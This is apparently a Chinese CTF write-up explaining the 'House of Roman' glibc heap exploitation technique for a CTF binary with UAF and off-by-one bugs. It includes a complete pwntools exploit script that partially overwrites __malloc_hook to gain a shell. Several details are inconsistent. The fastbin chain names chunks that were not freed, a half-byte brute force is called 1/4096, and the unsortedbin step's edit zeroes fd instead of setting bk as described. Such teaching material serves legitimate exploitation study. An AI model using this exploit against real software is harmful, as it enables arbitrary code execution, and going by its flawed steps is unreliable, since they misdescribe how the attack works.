house of roman(poc以及题目详解)
字数 1714 2025-08-22 12:22:24
House of Roman 利用技术详解
概述
House of Roman 是一种在 glibc 2.23 到 2.29 版本之间可用的堆利用技术,它结合了 fastbin attack 和 unsortedbin attack,可以在不泄露堆地址的情况下通过局部写和爆破(12bit,即4096分之一概率)实现 getshell。
适用条件
- 漏洞要求:至少有一个 UAF(Use After Free)或堆溢出漏洞
- 堆操作能力:能够创建任意大小的堆块
- 目标环境:glibc 2.23 到 2.29 版本
- 信息泄露:不需要泄露堆地址
核心原理
House of Roman 的核心思路是利用局部写减少随机化的程度,从而给出爆破的可能。攻击分为三个阶段:
- 通过低位地址改写使 fastbin chunk 的 fd 指针指向
__malloc_hook - 通过 unsortedbin attack 把 main_arena 写到
__malloc_hook上 - 通过低位地址修改
__malloc_hook为 one_gadget 或 system 函数
详细攻击步骤
第一阶段:fastbin attack 准备
- 申请四个堆块,大小分别为 0x60, 0x80, 0x80, 0x60(编号为 0,1,2,3)
- 释放第三个堆块(编号2),使其进入 unsortedbin
- 申请一个 0x60 大小的堆块(编号4),这会从编号2的堆块中切割,此时新堆块中包含 main_arena 的地址
- 释放编号3和编号0的堆块,使它们进入 fastbin(链表:fastbin 0x70 -> chunk1 -> chunk4)
- 修改 chunk0 的 fd 指针最后一个字节为 00,使链表变为 chunk0 -> chunk2_1(从编号2堆块中切割出的部分)
第二阶段:指向 __malloc_hook
- 通过观察发现 main_arena 和
__malloc_hook的地址只有末三位不同,且末三位固定 - 修改从编号2堆块中拆出的堆块(编号4)的 fd 指针,指向
__malloc_hook - 0x23 - 连续 malloc 两次,将 fastbin 中的 chunk malloc 回去
- 再次 malloc 就能拿到一个指向
__malloc_hook附近的 chunk - 注意:由于
__malloc_hook的最后半字节是随机的,需要爆破(4096分之一概率)
第三阶段:unsortedbin attack
- 申请两个堆块,大小分别为 0x80 和 0x30(编号8和9,0x30用于防止与 top chunk 合并)
- 释放 0x80 大小的堆块(编号8),使其进入 unsortedbin
- 覆盖当前堆块的 fd 末字节,使 bk 为
__malloc_hook - 0x10 - 再次申请回来,完成攻击,此时
__malloc_hook被写入 main_arena + 0x68 的值
最终利用
- 通过局部写修改
__malloc_hook为 one_gadget 或 system 函数地址 - 触发 malloc 调用 getshell
例题分析
程序分析
- 保护机制:NX 启用,其他保护可能关闭
- 功能:
- add:可以申请任意大小的堆块,最多19个
- edit:存在 off-by-one 漏洞
- delete:存在 UAF 漏洞
- 没有 show 功能,无法直接泄露 libc
EXP 编写步骤
from pwn import *
io = process('./pwn')
libc = ELF('libc-2.23.so')
def add(size, idx):
io.sendline("1")
io.recvuntil(b':')
io.sendline(str(size))
io.recvuntil(b':')
io.sendline(str(idx))
def free(idx):
io.recv()
io.sendline("3")
io.recvuntil(b':')
io.sendline(str(idx))
def edit(idx, data):
io.recv()
io.sendline("2")
io.recvuntil(b':')
io.sendline(str(idx))
io.recvuntil(b':')
io.send(data) # 只能用send,避免影响部分修改
io.recv()
io.sendline(b'aaaa')
# 初始堆布局
add(0x60, 0)
add(0x80, 1)
add(0x80, 2)
add(0x60, 3)
# 释放堆块2进入unsortedbin
free(2)
# 从堆块2切割出0x60大小的堆块4
add(0x60, 4)
# 释放堆块3和0进入fastbin
free(3)
free(0)
# 修改堆块0的fd指针最后一个字节为00
edit(0, b'\x00')
# 修改堆块4的fd指向__malloc_hook-0x23
edit(4, p16(0x3aed)) # 具体值需要根据实际情况调整
# 申请两次清空fastbin
add(0x60, 5)
add(0x60, 6)
# 现在可以申请到__malloc_hook附近的chunk
add(0x60, 7) # 指向__malloc_hook-0x23
# 准备unsortedbin attack
add(0x80, 8)
add(0x30, 9) # 防止合并
free(8)
# 修改bk指针为__malloc_hook-0x10
edit(8, p64(0) + p8(0))
# 申请回来完成unsortedbin attack
add(0x80, 10)
# 修改__malloc_hook为one_gadget或system
edit(7, b'a'*0x13 + p16(0x5380) + p8(0x84)) # 具体值需要调整
# 触发malloc调用getshell
add(0x20, 11)
io.interactive()
注意事项
- 在 glibc 2.29 之后,unsortedbin attack 失效,因此 House of Roman 也随之失效
- 实际利用时需要根据目标环境调整偏移量
- 爆破成功率为 1/4096,可能需要多次尝试
- 如果没有合适的 one_gadget,可以考虑改为 system 函数
总结
House of Roman 是一种在特定环境下非常有用的利用技术,它结合了多种堆利用技巧,能够在信息泄露有限的情况下实现利用。理解这种技术有助于深入掌握堆利用的各种技巧和思路。